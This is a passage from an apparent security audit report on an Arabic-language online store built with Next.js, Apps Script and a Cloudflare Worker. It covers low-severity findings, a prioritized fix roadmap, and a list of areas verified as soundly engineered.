Location	src/app/layout.tsx:89 (html lang='ar' dir='ltr')		

```
// UI copy, forms and checkout are Arabic; RTL is simulated per-component
```

Why it is a flaw. The document root declares left-to-right direction while the store's primary language and checkout flow are Arabic. Component-level classes compensate visually, but mixed-direction text (Arabic product names containing Latin codes, phone numbers, totals) is rendered with the wrong base direction, which commonly produces misplaced punctuation, mirrored brackets, and confusing number ordering at exactly the money-critical moments.

Impact. Subtle reading errors in order details for Arabic-first customers; accessibility tools announce the page direction incorrectly.

Trigger / exploitation. Inspect any order summary containing Latin digits and Arabic labels side by side.

Required fix. Set dir='rtl' on the root and scope dir='ltr' to the few Latin-only components, or use the CSS logical-property utilities Tailwind provides.

L-04 Order timestamps depend on the script's unpinned timezone

Severity	Low	Confidence	Likely
Location	apps-script.gs:684 (new Date() in appendRow); no appsscript.json manifest in the package		

```
sheet.appendRow([ new Date(), 'New', ... ]);
// Apps Script project timezone is not pinned anywhere in the zip
```

Why it is a flaw. Order dates are written using the Apps Script project's timezone, and the package contains no appsscript.json manifest to pin it. A replication by a new owner (a different Google account, possibly a different locale) can silently shift all order times by hours, which matters for a shop whose analytics compare daily order volume.

Impact. Mis-dated orders near midnight; confusing daily statistics after replication.

Trigger / exploitation. Deploy the script in an account whose default timezone differs from the original, then compare order dates with the customer's local time.

Required fix. Ship an appsscript.json with an explicit timeZone, or write dates as formatted strings in UTC+1 (Algeria) from a fixed offset.

L-05 Reversed QUERY ranges and fragile constructs in the statistics builder

Severity	Low	Confidence	Confirmed
Location	apps-script.gs:1036, 1044 (QUERY(Orders!J2:G, ...)), 726 (row-1 Arabic skip hack)		

```
val(24,1,'=IFERROR(QUERY(Orders!J2:G, "SELECT J, COUNT(J), SUM(G) ...'
// J2:G is a reversed range - Sheets normalizes it, but it is fragile
serveStock: if (i === 1 && /Arabic regex/.test(String(r[0]))) continue;
```

Why it is a flaw. The statistics formulas use reversed A1 ranges (J2:G instead of G2:J) that happen to be normalized by Sheets, plus a hardcoded skip of row 2 when it contains Arabic characters to suppress a legacy guidance row. Both constructs work today but depend on undocumented normalization and on the guidance row staying exactly where it is.

Impact. Statistics sections silently show 'Aucune commande' if a future Sheets update stops normalizing; stock parsing breaks if the guidance row moves.

Trigger / exploitation. None required - code inspection; verified against Sheets normalization behavior.

Required fix. Rewrite ranges in canonical order (G2:J) and replace the row-skip hack with an explicit header/flag check.

L-06 Legacy comma-format stock keys are treated as single keys forever

Severity	Low	Confidence	Confirmed
Location	apps-script.gs:429-449 (splitStockKey_ refuses to split on commas)		

```
// NEVER splits on ',' - product names can contain commas
if (s.indexOf(';') >= 0) return s.split(';');
return [s]; // single key (even if it contains commas)
```

Why it is a flaw. Historical orders recorded multi-variant stock keys with comma separators before the semicolon migration. The current parser deliberately never splits them, so those legacy keys can never match per-variant stock rows. The design assumes the admin will reprocess old orders via the menu action, but nothing in the UI prompts this after replication.

Impact. A small set of legacy orders silently never decrement stock after the package is reused.

Trigger / exploitation. Inspect any pre-migration order row with a comma stock key and confirm its status flip does not decrement anything.

Required fix. Add a one-time migration that rewrites comma keys for rows whose product name contains no commas, or surface a replication checklist step that runs the reprocessor.

L-07 Worker change detection relies on a 32-bit hash with realistic collision odds

Severity	Low	Confidence	Confirmed
Location	worker/data-sync.js:72-80 (hashString, djb2)		

```
function hashString(s) { let h = 5381;
  for (let i = 0; i < s.length; i++)
    h = ((h << 5) + h + s.charCodeAt(i)) | 0;
  return String(h >>> 0); }  // 32-bit djb2
```

Why it is a flaw. Catalog change detection compares 32-bit djb2 hashes of the products and stock payloads. For inputs of this size, accidental collisions are unlikely but not negligible, and a collision would make the Worker skip a legitimate update until the next TTL-driven rewrite (up to one hour of staleness). A cryptographic digest would remove the ambiguity at negligible cost.

Impact. Rare one-hour windows where a changed catalog is not refreshed on change-detection grounds.

Trigger / exploitation. Constructing a deliberate collision is impractical for an outsider; the risk is accidental staleness only.

Required fix. Replace djb2 with a SHA-256 digest via crypto.subtle (available in the Worker runtime).

7. Consolidated Fix Roadmap

The roadmap below orders the remediation work by urgency. P0 items are the minimum needed to make the live deployment defensible and are sized for a single focused day: rotate every shipped credential, close the two unauthenticated write paths, and make the Apps Script fail closed. P1 items restore the integrity of the order pipeline and the durability of the data plane over the following week. P2 hardening and P3 hygiene can follow in normal maintenance cadence. Fixing P0 without fixing P1 still leaves the store recording fraudulent orders, so the two windows should be planned together.

Priority	Window	Actions
P0	Same day - before next customer	C-01, C-03: rotate all secrets (password, admin token, signing key, Telegram bot, new Apps Script deployment URL); set the Apps Script admin token and make isAuthorized_ fail closed. C-02: remove the password from brand-config and the client-side login fallback. C-04: disable the write methods on /api/products. C-06: revoke the bot token and strip the hardcoded fallback.
P1	This week	C-05: server-side recomputation and validation of order totals and quantities (edge route and Apps Script). H-01: require the admin session on /api/refresh. H-02: convert order submission to POST with anti-spam controls and stop transmitting PII in URLs. H-03: honest failure UX, admin visibility of the failed-order queue, notification only on confirmed writes. H-04: server-side stock check at order time. H-05: login rate limiting; replace the sessionStorage auth flag with signed-session validation.

Priority	Window	Actions
P2	This month	M-01: sanitize sheet-bound customer fields against formula injection. M-05: tests must load the shipped apps-script.gs, and verify-apps-script.js must resolve paths portably. M-06: prune the unused dependency set. M-07: signed Cloudinary uploads from an edge route. M-03, M-08: remove the dead shipping route; fix Worker CORS and refresh throttling. M-02: correct the documentation and rename the package.
P3	Hygiene backlog	M-04: re-enable TypeScript build errors and strict null checks. L-01 through L-07: quantity suffix migration, protected statistics actions, RTL document root, pinned script timezone, canonical QUERY ranges, legacy stock-key migration, SHA-256 change detection.

Table 7-1. Prioritized remediation roadmap consolidating all 26 findings.

Two remediation notes deserve emphasis. First, rotation must be complete, not partial: the leaked SESSION_SIGNING_KEY is enough to forge sessions even after the password changes, and the leaked Apps Script URL survives password rotation because the token on the old deployment was never set. Second, the fail-open authorization cannot be fixed on the front end alone; the isAuthorized_ function in the Apps Script is the authoritative gate and must be fixed there, then verified by attempting an unauthenticated write from an incognito browser before the store is announced as safe.

8. Verified Sound Areas

An audit that only lists failures teaches the owner where not to look; this chapter records where the package demonstrably holds, so remediation does not accidentally discard working engineering. Each item below was verified against the code during this audit, not taken from the project's own documentation.

1. Read-path resilience is genuinely well engineered: the fallback chain (Worker KV, static JSON, localStorage cache, seed data) has timeouts on every fetch, per-source caches, and zero-error handling, so a visitor always gets a rendered storefront even when every backend is down.

2. The server-side session implementation in /api/admin is correct as written: HMAC-SHA256 signing, constant-time signature verification, and 8-hour expiry are all implemented properly - the problems are the leaked signing key (C-01) and the missing rate limiting (H-05), not the cryptography.

3. All 286 declared test checks pass (212 + 74 across the nine suites), apps-script.gs parses as valid JavaScript (1,439 lines), and the bundled data files (products.json, stock-seed.json, image-manifest.json) are valid, consistent JSON.

4. No cross-site-scripting vectors were found: the only dangerouslySetInnerHTML usage is a static, code-owned JSON-LD block in layout.tsx; all product and order data flows into text nodes.

5. The .gitignore excludes .env files and no real .env file ships in the zip - the secret exposure comes from hardcoded values and SECRETS.txt, not from committed env files.

6. Cart state handling is defensive: localStorage corruption is self-healed, quantities are sanitized on load, orphan items whose products were deleted are pruned on catalog refresh, and the add-to-cart path survives a corrupted store.

7. The Cloudflare Worker's cron is exception-safe (never throws out of scheduled), retries Apps Script fetches with backoff, skips 4xx responses, and its KV write pattern is quota-aware (change detection plus TTL refresh).

8. Several defects flagged in the project's own earlier internal audit were verified as fixed in this package: the featured-carousel out-of-bounds crash now has a guard, admin saves are awaited with rollback, and the base64-image overflow path returns empty strings instead of overflowing sheet cells.

The overall pattern is a codebase with two distinct personalities. The read path - the part a visitor experiences - is engineered with unusual care: layered fallbacks, timeouts on every hop, self-healing caches, and defensive parsing throughout. The write path - the part that touches money, inventory, and administration - is where nearly every finding lives: trust boundaries asserted in comments rather than enforced in code, fail-open gates, and secrets used as configuration. Remediation should therefore be surgical: preserve the read-path architecture as-is, and rebuild the trust boundaries of the write path from the Apps Script outward.